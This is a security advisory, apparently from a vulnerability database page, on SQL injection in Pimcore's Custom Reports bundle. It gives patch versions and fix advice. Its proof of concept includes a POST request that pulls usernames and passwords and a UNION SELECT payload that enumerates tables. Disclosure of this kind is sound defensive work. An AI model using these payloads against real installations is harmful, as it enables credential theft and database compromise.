Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration
Description
# Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration
Summary
Impact
A SQL injection vulnerability exists in the Custom Reports bundle (bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135). An authenticated attacker with reports_config permission can inject arbitrary SQL via the report configuration fields (sql, from, where, groupby), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE keywords, which is trivially bypassable — it does not block INSERT, UNION SELECT, LOAD_FILE(), INTO OUTFILE, stacked queries, subqueries, or MySQL comment injection (/*!*/). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.
Additionally, the LIMIT clause at line 51 directly interpolates $offset and $limit without integer casting, creating a secondary injection point.
Patches
Versions 2026.1.6, 12.3.10, 11.5.19.
Workarounds
- Restrict
reports_configpermission to only highly trusted administrators - Deploy a WAF rule to block requests to
/admin/bundle/customreports/custom-report/updatecontaining SQL keywords in theconfigurationparameter - Replace the custom SQL adapter with a parameterized query builder approach
Attack
Path (Validation Evidence)
[Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1
↓ (requires reports_config permission + valid admin session)
[Controller] CustomReportController::updateAction()
↓ $configuration = decodeJson($request->request->getString('configuration'))
[Config Store] Configuration saved to custom_reports database table
[Config Load] Tool\Config::getByName() loads stdClass $config from DB
↓
[Adapter] Sql::getBaseQuery() → Sql::buildQueryString($config)
↓ Directly concatenates config fields:
[Vulnerable] $sql .= "\n" . $config['sql']; // Line 92
$sql .= "\n" . $config['from']; // Line 103
$sql .= "\n" . 'WHERE (' . $config['where'] . ')'; // Line 110
$sql .= "\n" . $config['groupby']; // Line 117
[Weak Guard] preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\s/i', ...)
↓ ✗ Bypassable — missing INSERT, UNION, SELECT, subqueries, comments
[Execution] $db->fetchAllAssociative($sql); // Line 54
↓
[Impact] Arbitrary SQL execution — full database compromise
Taint
Flow (Validation Evidence)
Source: $request->request->getString('configuration') (HTTP POST body, user-controlled)
↓ json_decode() → stdClass
[Store] Persistent in database (custom_reports table)
[Load] Config::getByName() → stdClass $config
↓ ✗ No sanitization (only bypassable regex blacklist)
[Sink] $db->fetchAllAssociative($concatenatedSql)
↓
Impact: Attacker-controlled SQL executed against the database
Proof of
Concept
Steps
- Authenticate as an admin user with
reports_configpermission - Send a report update request with malicious SQL in the configuration:
Request
POST /admin/bundle/customreports/custom-report/update HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid_admin_session>
name=malicious_report&configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D
3. Access the report data endpoint to retrieve extracted user credentials 4. Alternatively, the where field can be set to: `` 1=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLES ``
to enumerate all database tables
Expected
Result
The custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL injection.
Affected
Component
- File:
bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php - Method:
buildQueryString()(lines 84-135),getBaseQuery()(lines 137-216),getData()(lines 25-58) - Class:
Pimcore\Bundle\CustomReportsBundle\Tool\Adapter\Sql
Fix
Recommendation
Replace the custom SQL concatenation approach with a parameterized query builder:
// Instead of:
$sql .= "\n" . $config['sql'];
$sql .= "\n" . $config['from'];
$sql .= "\n" . 'WHERE (' . $config['where'] . ')';
// Use a whitelist-based approach:
// 1. Only allow predefined table names from a whitelist
// 2. Use Doctrine QueryBuilder for WHERE conditions
// 3. Use parameterized queries for all user-supplied values
// 4. Cast LIMIT/OFFSET to integers
$sql .= ' LIMIT ' . (int)$offset . ',' . (int)$limit;
Resources
Affected products
1Patches
Vulnerability mechanics
References
5News mentions
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